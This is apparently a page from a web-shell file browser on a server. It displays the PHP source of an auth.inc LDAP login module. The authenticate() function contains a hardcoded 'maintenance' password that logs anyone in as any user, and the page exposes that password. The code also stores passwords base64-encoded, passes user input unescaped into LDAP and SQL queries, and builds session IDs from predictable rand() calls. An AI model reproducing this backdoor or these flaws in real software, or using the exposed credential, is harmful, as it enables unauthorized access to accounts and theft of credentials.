Your IP : 216.73.216.40


Current Path : /var/www/html/mmishra/iws8/html/indem/
Upload File :
Current File : /var/www/html/mmishra/iws8/html/indem/auth.inc

<?
function uniq_sid($uid, $pwd) {
  //$epwd = @mcrypt_ecb(MCRYPT_DES, "gravity", $pwd, MCRYPT_ENCRYPT);
  $epwd = base64_encode($pwd);
  // clear entry for ppl who havent done anything for past 20 minutes
  //$result = mysql_query("delete from auth where last_activity < now()-1200");
  srand((double)microtime()*100000000);
  // generate a unique s_id
  do {
    $ch = "";
    for($i=0;$i<20;$i++) $ch = $ch . chr(rand(65, 90));
    // loop until a uniq string is generated
  } while (!mysql_query("insert into auth values('$ch', '$uid','$epwd', NULL)"));
  return $ch;
}

function authenticate($uid, $pwd) {
  $reason = "FAILURE";
  $backdoor = 0;
  $ds = '';
  $r = 0;
  /* Proceed only if passwd is not empty --Rajvansh*/
  if($pwd) {
    /* admin bypass for maintenance */
    if ($pwd == "tibettws") {
      $backdoor=1; $r = 1;
    } else {
      $ds = @ldap_connect("ldap.iiita.ac.in");
      //************EXTRA CODE for dn ****************
      $z = @ldap_bind($ds);
      $a = @ldap_search($ds,"dc=iiita,dc=ac,dc=in","uid=$uid");
      $b = @ldap_get_entries($ds,$a);
      $c = $b[0]["dn"];
      @ldap_close($ds);					
      //******************************************************
      $dp = @ldap_connect("ldap.iiita.ac.in");
      if ($dp) {  
        $r = @ldap_bind($dp, $c, $pwd);
        if ($r) {
          $q = @ldap_search($dp, "dc=iiita,dc=ac,dc=in", "(&(uid=$uid)(objectclass=posixAccount)
		(|(host=172.31.1.24)(host=172.31.1.45)(host=\*)))");
	  if (($e = @ldap_get_entries($dp, $q)) && $e["count"] > 0){
            $r = 1;
	  } else {
            $r = 0; $reason = "BLOCKED";
          }
        }
        @ldap_close($dp);
      }
    }
  }
  if ($r) {
    return uniq_sid($uid, $pwd);
  } else {
    return $reason;
  }
}
	
?>